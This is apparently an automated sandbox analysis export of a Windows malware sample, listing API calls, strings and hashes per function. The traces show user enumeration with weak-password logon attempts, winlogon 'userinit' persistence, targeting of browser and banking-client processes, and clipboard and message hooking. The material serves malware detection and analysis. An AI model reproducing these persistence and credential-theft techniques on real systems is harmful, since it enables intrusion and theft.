HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040389A
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038AD
HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038B0
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038BD
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038C0

Strings

<Actions , xrefs: 004036EA
00-->, xrefs: 0040371F
p=Dv, xrefs: 0040382B

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Heap$File$Process$FreePointerValidatewcsstr$AllocCloseCreateHandleInitModuleNameReadSizeVariantWrite_snwprintfmemset
String ID: 00-->$<Actions $p=Dv
API String ID: 3028510665-2653830224
Opcode ID: 955b91e7d97598c02b1fd98b2500fdb02c6b2481e78ce23fabddc674594c4510
Instruction ID: 60e659956de6826fb5c9e3504b81639812d481b549725b71a5a6ffd7b5f9c5d4
Opcode Fuzzy Hash: 955b91e7d97598c02b1fd98b2500fdb02c6b2481e78ce23fabddc674594c4510
Instruction Fuzzy Hash: CBA1CEB2504311ABC720DF64CC48F5B7BA8EFC8751F048669FA45EB291D774EA04CBA8

Function 00402F30 Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 436commemoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000000,?,?,76D6DB30), ref: 00402F40
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00402F60
CoCreateInstance.OLE32(004043F0,00000000,00000001,004041E0,?), ref: 00402F87
VariantInit.OLEAUT32(?), ref: 00402F9F
VariantInit.OLEAUT32(?), ref: 00402FBA
VariantInit.OLEAUT32(?), ref: 00402FD8
VariantInit.OLEAUT32(?), ref: 00402FF6
VariantClear.OLEAUT32(?), ref: 0040307C
CreateFileMappingW.KERNELBASE(?), ref: 00403082
VariantClear.OLEAUT32(?), ref: 00403088
VariantClear.OLEAUT32(?), ref: 0040308E
InterlockedDecrement.KERNEL32(004035B6), ref: 004030CD
SysAllocString.OLEAUT32(00404EEC), ref: 00403276
VariantInit.OLEAUT32(?), ref: 0040329B
VariantInit.OLEAUT32(?), ref: 004032B9

Part of subcall function 00402E50: GetProcessHeap.KERNEL32(00000008,00000010,00000000,?,004030A1,00404ED8), ref: 00402E58
Part of subcall function 00402E50: HeapAlloc.KERNEL32(00000000,?,004030A1,00404ED8), ref: 00402E5F
Part of subcall function 00402E50: SysAllocString.OLEAUT32(004030A1), ref: 00402E80

VariantClear.OLEAUT32(?), ref: 00403366
VariantClear.OLEAUT32(?), ref: 0040336C
VariantClear.OLEAUT32(?), ref: 00403372

Strings

cmd.exe, xrefs: 004031D1
p=Dv, xrefs: 00402F95, 00403282

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Alloc$CreateHeapInitializeString$DecrementFileInstanceInterlockedMappingProcessSecurity
String ID: cmd.exe$p=Dv
API String ID: 3029307448-1819144570
Opcode ID: ce624a195721d34df8c0ff0fb2f0b689a1a1700c9ed8d61842eb4ad22ab92356
Instruction ID: 9e23888bed06d8ec6237e29dc82f696ab5e76098d001fcea0e973b2596c5eb93
Opcode Fuzzy Hash: ce624a195721d34df8c0ff0fb2f0b689a1a1700c9ed8d61842eb4ad22ab92356
Instruction Fuzzy Hash: 64F10875E002199FCB00DFA8C884A9EBBB9FF88710F1581AAE914BB351D774AD01CF94

Function 00401D80 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 169threadCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,76D6DB30), ref: 00401DA6
NetQueryDisplayInformation.NETAPI32(00000000,00000001,00000000,000003E8,000000FF,?,?,?,00000000,76D6DB30), ref: 00401DC2
_snprintf.MSVCRT ref: 00401E08
NetUserGetInfo.NETAPI32(00000000,00000000,00000001,?), ref: 00401E19
NetApiBufferFree.NETAPI32(?), ref: 00401E3A
NetApiBufferFree.NETAPI32(?), ref: 00401E45

Part of subcall function 004017F0: memset.MSVCRT ref: 0040181B
Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,75C25430,00000000,?), ref: 00401833
Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000008,-00000011), ref: 0040185D
Part of subcall function 004017F0: HeapAlloc.KERNEL32(00000000), ref: 00401860
Part of subcall function 004017F0: memset.MSVCRT ref: 00401873
Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000), ref: 00401898
Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 004018AC
Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000008,-00000011), ref: 004018CA
Part of subcall function 004017F0: HeapAlloc.KERNEL32(00000000), ref: 004018CD
Part of subcall function 004017F0: memset.MSVCRT ref: 004018DD

Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00401E65,000000FF,00000000,00000000), ref: 004018FF
Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 00401913
Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000008,00000015), ref: 00401933
Part of subcall function 004017F0: HeapAlloc.KERNEL32(00000000), ref: 0040193A
Part of subcall function 004017F0: memset.MSVCRT ref: 0040194A
Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00401967
Part of subcall function 004017F0: CreateProcessWithLogonW.ADVAPI32(?,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0040199B
Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,?), ref: 004019AD
Part of subcall function 004017F0: HeapValidate.KERNEL32(00000000), ref: 004019B6
Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,?), ref: 004019C2
Part of subcall function 004017F0: HeapFree.KERNEL32(00000000), ref: 004019C5
Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019D2
Part of subcall function 004017F0: HeapValidate.KERNEL32(00000000), ref: 004019D5

_snprintf.MSVCRT ref: 00401EAA

Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019DE
Part of subcall function 004017F0: HeapFree.KERNEL32(00000000), ref: 004019E1
Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00401E65), ref: 004019F1
Part of subcall function 004017F0: HeapValidate.KERNEL32(00000000), ref: 004019F4
Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00401E65), ref: 00401A01
Part of subcall function 004017F0: HeapFree.KERNEL32(00000000), ref: 00401A04

_snprintf.MSVCRT ref: 00401EEA
_snprintf.MSVCRT ref: 00401F26
SwitchToThread.KERNEL32(?,?,00404D20,?,?,?), ref: 00401F6F
NetApiBufferFree.NETAPI32(?), ref: 00401F95

Strings

%s1, xrefs: 00401E98
%s12, xrefs: 00401ED8
%s123, xrefs: 00401F14

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Heap$Process$ByteCharFreeMultiWide$_snprintfmemset$AllocBufferValidate$CreateDisplayFileInfoInformationLogonModuleNameQuerySwitchThreadUserWith
String ID: %s1$%s12$%s123
API String ID: 1588441251-2882894844
Opcode ID: 63274706b62708f42648d06670bacef668267c51d1314ddcf6f9b5beb05922d2
Instruction ID: d6d119788ade0702c334ba716b850de2f597c51d849c979d1570e7f46e431759
Opcode Fuzzy Hash: 63274706b62708f42648d06670bacef668267c51d1314ddcf6f9b5beb05922d2
Instruction Fuzzy Hash: 5651B6B25043015BD331DB54C844EEB73A8AFD8754F000A2EFA846B2D1DB78DA48CBA6

Function 004027B0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 34COMMON

Download Yara Rule

APIs

GlobalFindAtomA.KERNEL32(Fri Jun 17 05:52:09 20112,?,?,00402D7C), ref: 004027B9
GlobalAddAtomA.KERNEL32(Fri Jun 17 05:52:09 20112), ref: 004027CA
IsUserAnAdmin.SHELL32 ref: 004027D6
RtlAdjustPrivilege.NTDLL ref: 004027E6
IsUserAnAdmin.SHELL32 ref: 004027EC

Strings

winlogon.exe, xrefs: 004027F1
Fri Jun 17 05:52:09 20112, xrefs: 004027B4, 004027C5
Pn7w, xrefs: 004027E6
explorer.exe, xrefs: 004027F8, 004027FD

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: AdminAtomGlobalUser$AdjustFindPrivilege
String ID: Fri Jun 17 05:52:09 20112$Pn7w$explorer.exe$winlogon.exe
API String ID: 3001685711-3521715275
Opcode ID: d14c921f1184c696d62da8aac8ded89f8ce8efe24655d3e49b352df140887ec9
Instruction ID: 466661b1ea48edbd92509d7abf6a2a5afa49196c9ec5a44dbf6f5976db38d1d5
Opcode Fuzzy Hash: d14c921f1184c696d62da8aac8ded89f8ce8efe24655d3e49b352df140887ec9
Instruction Fuzzy Hash: 6AF08CB460020566EA5077E1AE0AB6B3A1CAB84B90F104137FF00B72E0EAB8DC0046FC

Function 00402ED0 Relevance: 13.5, APIs: 9, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 00402ED7
GetProcessHeap.KERNEL32(00000000,00000300,004035BE,7644E610,00402EBE), ref: 00402EEF
HeapValidate.KERNEL32(00000000), ref: 00402EF2
GetProcessHeap.KERNEL32(00000000,00000300), ref: 00402EFF
HeapFree.KERNEL32(00000000), ref: 00402F02
GetProcessHeap.KERNEL32(00000000,004035BE,004035BE,7644E610,00402EBE), ref: 00402F0B
HeapValidate.KERNEL32(00000000), ref: 00402F0E
GetProcessHeap.KERNEL32(00000000,004035BE), ref: 00402F1B
HeapFree.KERNEL32(00000000), ref: 00402F1E

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Validate$String
String ID:
API String ID: 2629017576-0
Opcode ID: fff050803a28cdbdb81a85633d3b81f0a42b3d859f4e64ff46b7961ccc31fb95
Instruction ID: 47c24e4de567f4ebe007c7ce519db5101e5d5be497eca443f574c4ff2f4d9865
Opcode Fuzzy Hash: fff050803a28cdbdb81a85633d3b81f0a42b3d859f4e64ff46b7961ccc31fb95
Instruction Fuzzy Hash: 8BF0DAB1656211ABEA102BA59E8CF572A6CEF85B82F040525B708F71D0CAB4DC40D67C

Function 004014B0 Relevance: 10.6, APIs: 7, Instructions: 72processCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004014D4
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?,76D6DB30), ref: 004014DF
Process32First.KERNEL32 ref: 00401505
StrStrIA.SHLWAPI(?,?), ref: 00401520
Process32Next.KERNEL32(00000000,?), ref: 0040152C
GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401548
CloseHandle.KERNEL32(00000000), ref: 0040155A

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: HandleProcess32$CloseCreateFirstInformationNextSnapshotToolhelp32memset
String ID:
API String ID: 3955875343-0
Opcode ID: 7873ba4b88183a8641433f701d7857d9c97be643caff6c6a3dfa6b6ea5f2b523
Instruction ID: 35ff206d6e877699644ac5607af1a2cdaefe1b2aeb9dd15ae369335d4f3073ea
Opcode Fuzzy Hash: 7873ba4b88183a8641433f701d7857d9c97be643caff6c6a3dfa6b6ea5f2b523
Instruction Fuzzy Hash: 1D11C3B25042146BD310DF65DC0899BBBACEBD53A0F00453AFE55A72D0E33499088BEA

Function 00401330 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040135A
GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A8E,-00000006,00000000), ref: 00401367
GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401373

Strings

ntdll.dll, xrefs: 00401362
RtlUniform, xrefs: 0040136D

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: AddressCountHandleModuleProcTick
String ID: RtlUniform$ntdll.dll
API String ID: 1545651562-3277137149
Opcode ID: d14c2f9e698ac929ed0932fb87d06ba4f74ade3cc07b29cd2c75e337da446871
Instruction ID: 796e466c09054be0152a46d456eb4211c9760dde1472f6724dae78271da73244
Opcode Fuzzy Hash: d14c2f9e698ac929ed0932fb87d06ba4f74ade3cc07b29cd2c75e337da446871
Instruction Fuzzy Hash: E80126712003045BC314AB6AAC81696B7DEAB84706341413BEE05F36A2C23AD8048BAC

Function 004012A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004012AB
GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A82,00000000), ref: 004012BC
GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 004012CC

Strings

ntdll.dll, xrefs: 004012B7
RtlUniform, xrefs: 004012C6

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: AddressCountHandleModuleProcTick
String ID: RtlUniform$ntdll.dll
API String ID: 1545651562-3277137149
Opcode ID: eae13d97ce2cff1767e69285929d2bc7f9bbc3e812787a57d7dc8512338ae20e
Instruction ID: b56d10f3903839679d055e287fe873ff32dc311f96dddc7098b711b9a384a0cf
Opcode Fuzzy Hash: eae13d97ce2cff1767e69285929d2bc7f9bbc3e812787a57d7dc8512338ae20e
Instruction Fuzzy Hash: 65E04FB07413045BD714BFB6AD09A1637DD9BC47073968036BB09F21E1DA39C814CA6D

Analysis Process: svchost.exePID: 1112, Parent PID: 7020COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	65%
Signature Coverage:	26.2%
Total number of Nodes:	446
Total number of Limit Nodes:	16

Executed Functions

Function 02C85890 Relevance: 273.9, APIs: 123, Strings: 33, Instructions: 862threadmemorylibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 02C73310: IsUserAnAdmin.SHELL32 ref: 02C73335
Part of subcall function 02C73310: GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 02C73354
Part of subcall function 02C73310: PathAddBackslashA.SHLWAPI(?), ref: 02C73361
Part of subcall function 02C73310: GetVolumeInformationA.KERNEL32(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 02C7337E
Part of subcall function 02C73310: _snprintf.MSVCRT ref: 02C73399
Part of subcall function 02C73310: RegOpenKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000101,00000000), ref: 02C733B7
Part of subcall function 02C73310: RegQueryValueExA.KERNEL32(00000000,userinit,00000000,00000001,C:\Windows\apppatch\svchost.exe,00000104), ref: 02C7340C
Part of subcall function 02C73310: RegCloseKey.ADVAPI32(00000000), ref: 02C7341A

Part of subcall function 02C93E40: GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 02C93E6F
Part of subcall function 02C93E40: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00FFAAFF,00000000,00000000,00000000,00000000), ref: 02C93EA8
Part of subcall function 02C93E40: _snprintf.MSVCRT ref: 02C93F13

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,C:\Users\user\AppData\Roaming\), ref: 02C858B0
PathAddBackslashA.SHLWAPI(C:\Users\user\AppData\Roaming\), ref: 02C858BB
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C858CF
StrStrIA.SHLWAPI(?,\chrome.exe), ref: 02C858EB
GetCommandLineA.KERNEL32 ref: 02C858F5
GetCommandLineW.KERNEL32 ref: 02C8592D
InitializeCriticalSection.KERNEL32(02CBD888), ref: 02C8595C
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02C85979
CreateThread.KERNEL32(00000000,00000000,02C82140,00000000,00000000,00000000), ref: 02C859B7
GetHandleInformation.KERNEL32(00000000,?), ref: 02C859CF
CloseHandle.KERNEL32(00000000), ref: 02C859E0
CreateThread.KERNEL32(00000000,00000000,02C868B0,00000000,00000000,00000000), ref: 02C85A0F
GetHandleInformation.KERNEL32(00000000,?), ref: 02C85A27
CloseHandle.KERNEL32(00000000), ref: 02C85A38
CreateThread.KERNEL32(00000000,00000000,Function_00016B60,00000000,00000000,00000000), ref: 02C85A4D
CreateMutexA.KERNEL32(00000000,00000000,80F500EBa), ref: 02C85A61
InitializeCriticalSection.KERNEL32(02CBD8A0), ref: 02C85A70
CreateThread.KERNEL32(00000000,00000000,02C864A0,00000000,00000000,00000000), ref: 02C85A84
GetHandleInformation.KERNEL32(00000000,?), ref: 02C85A94
CloseHandle.KERNEL32(00000000), ref: 02C85AA5
CreateThread.KERNEL32(00000000,00000000,02C85590,00000000,00000000,00000000), ref: 02C85ABA
GetHandleInformation.KERNEL32(00000000,?), ref: 02C85ACA
CloseHandle.KERNEL32(00000000), ref: 02C85ADB
CreateThread.KERNEL32(00000000,00000000,02C842C0,00000000,00000000,00000000), ref: 02C85B05
GetHandleInformation.KERNEL32(00000000,?), ref: 02C85B19
CloseHandle.KERNEL32(00000000), ref: 02C85B2A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C85B39
HeapValidate.KERNEL32(00000000), ref: 02C85B3C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C85B49
HeapFree.KERNEL32(00000000), ref: 02C85B4C
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02C85B70
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02C85B82

Part of subcall function 02C76240: memset.MSVCRT ref: 02C76271
Part of subcall function 02C76240: memset.MSVCRT ref: 02C7628F
Part of subcall function 02C76240: RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C762AB
Part of subcall function 02C76240: RegQueryValueExA.KERNEL32(?,80F50759a,00000000,00000001,?,00000104), ref: 02C762D2
Part of subcall function 02C76240: GetProcessHeap.KERNEL32(00000008,00000110,?,?), ref: 02C7634A
Part of subcall function 02C76240: HeapAlloc.KERNEL32(00000000), ref: 02C76351
Part of subcall function 02C76240: memset.MSVCRT ref: 02C76365
Part of subcall function 02C76240: lstrcpynA.KERNEL32(00000000,00000000,00000104), ref: 02C7637E
Part of subcall function 02C76240: RegCloseKey.ADVAPI32(?), ref: 02C7638C

GetCurrentProcess.KERNEL32(00000000), ref: 02C85B8E
IsUserAnAdmin.SHELL32 ref: 02C85B9D
StrStrIA.SHLWAPI(?,\svchost.exe), ref: 02C85BB9
StrStrIA.SHLWAPI(?,\iexplore.exe), ref: 02C85BE0
StrStrIA.SHLWAPI(?,\java.exe), ref: 02C85BF6
StrStrIA.SHLWAPI(?,\javaw.exe), ref: 02C85C0C
StrStrIA.SHLWAPI(?,\javaws.exe), ref: 02C85C22
StrStrIA.SHLWAPI(?,\opera.exe), ref: 02C85C38
StrStrIA.SHLWAPI(?,\firefox.exe), ref: 02C85C4E
StrStrIA.SHLWAPI(?,\maxthon.exe), ref: 02C85C64
StrStrIA.SHLWAPI(?,\avant.exe), ref: 02C85C7A
StrStrIA.SHLWAPI(?,\mnp.exe), ref: 02C85C90
StrStrIA.SHLWAPI(?,\safari.exe), ref: 02C85CA6
StrStrIA.SHLWAPI(?,\netscape.exe), ref: 02C85CBC
StrStrIA.SHLWAPI(?,\tbb-firefox.exe), ref: 02C85CD2
StrStrIA.SHLWAPI(?,\chrome.exe), ref: 02C85CE8
StrStrIA.SHLWAPI(?,\explorer.exe), ref: 02C85CFE
CreateThread.KERNEL32(00000000,00000000,02C8A300,00000000,00000000,00000000), ref: 02C85D2C
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85D46
CloseHandle.KERNEL32(00000000), ref: 02C85D53
CreateThread.KERNEL32(00000000,00000000,02C8D990,00000000,00000000,00000000), ref: 02C85D68
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85D7C
CloseHandle.KERNEL32(00000000), ref: 02C85D89
CreateThread.KERNEL32(00000000,00000000,02C8EF40,00000000,00000000,00000000), ref: 02C85D9E
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85DB2
CloseHandle.KERNEL32(00000000), ref: 02C85DBF
CreateThread.KERNEL32(00000000,00000000,02C8F770,00000000,00000000,00000000), ref: 02C85DD4
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85DE8
CloseHandle.KERNEL32(00000000), ref: 02C85DF5
CreateThread.KERNEL32(00000000,00000000,02C8E0B0,00000000,00000000,00000000), ref: 02C85E0A
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85E1E
CloseHandle.KERNEL32(00000000), ref: 02C85E2B
CreateThread.KERNEL32(00000000,00000000,02C8B580,00000000,00000000,00000000), ref: 02C85E40
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85E54
CloseHandle.KERNEL32(00000000), ref: 02C85E61
CreateThread.KERNEL32(00000000,00000000,02C8B620,00000000,00000000,00000000), ref: 02C85E76
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85E8A
CloseHandle.KERNEL32(00000000), ref: 02C85E97
CreateThread.KERNEL32(00000000,00000000,02C8FEE0,00000000,00000000,00000000), ref: 02C85EAC
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85EC0
CloseHandle.KERNEL32(00000000), ref: 02C85ECD
CreateThread.KERNEL32(00000000,00000000,02C90AF0,00000000,00000000,00000000), ref: 02C85EE2
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85EF6
CloseHandle.KERNEL32(00000000), ref: 02C85F03
CreateThread.KERNEL32(00000000,00000000,02C917E0,00000000,00000000,00000000), ref: 02C85F18
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85F2C
CloseHandle.KERNEL32(00000000), ref: 02C85F39
CreateThread.KERNEL32(00000000,00000000,02C918D0,00000000,00000000,00000000), ref: 02C85F4E
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85F62
CloseHandle.KERNEL32(00000000), ref: 02C85F6F
CreateThread.KERNEL32(00000000,00000000,02C8E890,00000000,00000000,00000000), ref: 02C85F84
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85F98
CloseHandle.KERNEL32(00000000), ref: 02C85FA5
CreateThread.KERNEL32(00000000,00000000,02C91AB0,00000000,00000000,00000000), ref: 02C85FBA
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85FCE
CloseHandle.KERNEL32(00000000), ref: 02C85FDB
CreateThread.KERNEL32(00000000,00000000,02C92A30,00000000,00000000,00000000), ref: 02C85FF0
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C86004
CloseHandle.KERNEL32(00000000), ref: 02C86011
CreateThread.KERNEL32(00000000,00000000,02C92D50,00000000,00000000,00000000), ref: 02C86026
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8603A
CloseHandle.KERNEL32(00000000), ref: 02C86047
CreateThread.KERNEL32(00000000,00000000,02C902E0,00000000,00000000,00000000), ref: 02C8605C
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C86070
CloseHandle.KERNEL32(00000000), ref: 02C8607D
CreateThread.KERNEL32(00000000,00000000,02C77110,00000000,00000000,00000000), ref: 02C86092
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C860AA
CloseHandle.KERNEL32(00000000), ref: 02C860BF
StrStrIA.SHLWAPI(?,\isclient.exe), ref: 02C860D6
StrStrIA.SHLWAPI(?,\ipc_full.exe), ref: 02C860EC
StrStrIA.SHLWAPI(?,\intpro.exe), ref: 02C860FE
StrStrIA.SHLWAPI(?,\cbsmain.dll), ref: 02C86110
StrStrIA.SHLWAPI(?,\clmain.exe), ref: 02C86122
StrStrIA.SHLWAPI(?,\core.exe), ref: 02C86134
StrStrIA.SHLWAPI(?,\rundll32.exe), ref: 02C86146
StrStrIA.SHLWAPI(?,\notepad.exe), ref: 02C86158

Part of subcall function 02C844F0: memset.MSVCRT ref: 02C84511
Part of subcall function 02C844F0: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,7622F550,75AF7390,76230A60), ref: 02C84527
Part of subcall function 02C844F0: AddVectoredExceptionHandler.KERNEL32(00000001,02C73940), ref: 02C84534
Part of subcall function 02C844F0: CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02C8454F
Part of subcall function 02C844F0: CreateThread.KERNEL32(00000000,00000000,Function_00019230,00000000,00000000,00000000), ref: 02C84569
Part of subcall function 02C844F0: GetHandleInformation.KERNEL32(00000000,?), ref: 02C84581
Part of subcall function 02C844F0: CloseHandle.KERNEL32(00000000), ref: 02C84592
Part of subcall function 02C844F0: InitializeCriticalSection.KERNEL32(02CBD870), ref: 02C845A3
Part of subcall function 02C844F0: LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02C845B9
Part of subcall function 02C844F0: GetProcAddress.KERNEL32(00000000,GetClipboardData), ref: 02C845CB
Part of subcall function 02C844F0: LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02C845EA
Part of subcall function 02C844F0: GetProcAddress.KERNEL32(00000000,TranslateMessage), ref: 02C845F8
Part of subcall function 02C844F0: GetProcAddress.KERNEL32(00000000,GetMessageA), ref: 02C84614
Part of subcall function 02C844F0: GetProcAddress.KERNEL32(00000000,GetMessageW), ref: 02C84630

Part of subcall function 02C76FB0: GetCurrentProcessId.KERNEL32 ref: 02C76FB9
Part of subcall function 02C76FB0: GetCurrentThreadId.KERNEL32 ref: 02C76FC8
Part of subcall function 02C76FB0: GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02C76FE1
Part of subcall function 02C76FB0: GetUserObjectInformationA.USER32(00000000), ref: 02C76FE8
Part of subcall function 02C76FB0: lstrcmpiA.KERNEL32(?,80f507eba), ref: 02C76FFE

StrStrIA.SHLWAPI(?,\opera.exe,00000000), ref: 02C86183
GetModuleHandleA.KERNEL32(ntdll.dll,RtlFreeHeap,02C84010,02CC7D38), ref: 02C8619D
GetProcAddress.KERNEL32(00000000), ref: 02C861A0
StrStrIA.SHLWAPI(?,\chrome.exe), ref: 02C861B4
GetCurrentProcessId.KERNEL32 ref: 02C861D1
GetCurrentThreadId.KERNEL32 ref: 02C861E0
GetThreadDesktop.USER32(00000000,00000002,?,00000100,00000000), ref: 02C861F9
GetUserObjectInformationA.USER32(00000000), ref: 02C86200
lstrcmpiA.KERNEL32(?,80f507eba), ref: 02C86216
CreateThread.KERNEL32(00000000,00000000,02C7ACD0,00000000,00000000,00000000), ref: 02C8622A
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8623E
CloseHandle.KERNEL32(00000000), ref: 02C8624B
CreateThread.KERNEL32(00000000,00000000,02C77020,00000000,00000000,00000000), ref: 02C86260
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C86274
CloseHandle.KERNEL32(00000000), ref: 02C86281

Strings

\chrome.exe, xrefs: 02C858DF, 02C85CDC, 02C861A8
\netscape.exe, xrefs: 02C85CB0
\opera.exe, xrefs: 02C85C2C, 02C86177
\avant.exe, xrefs: 02C85C6E
--no-sandbox, xrefs: 02C85908
\firefox.exe, xrefs: 02C85C42
\javaw.exe, xrefs: 02C85C00
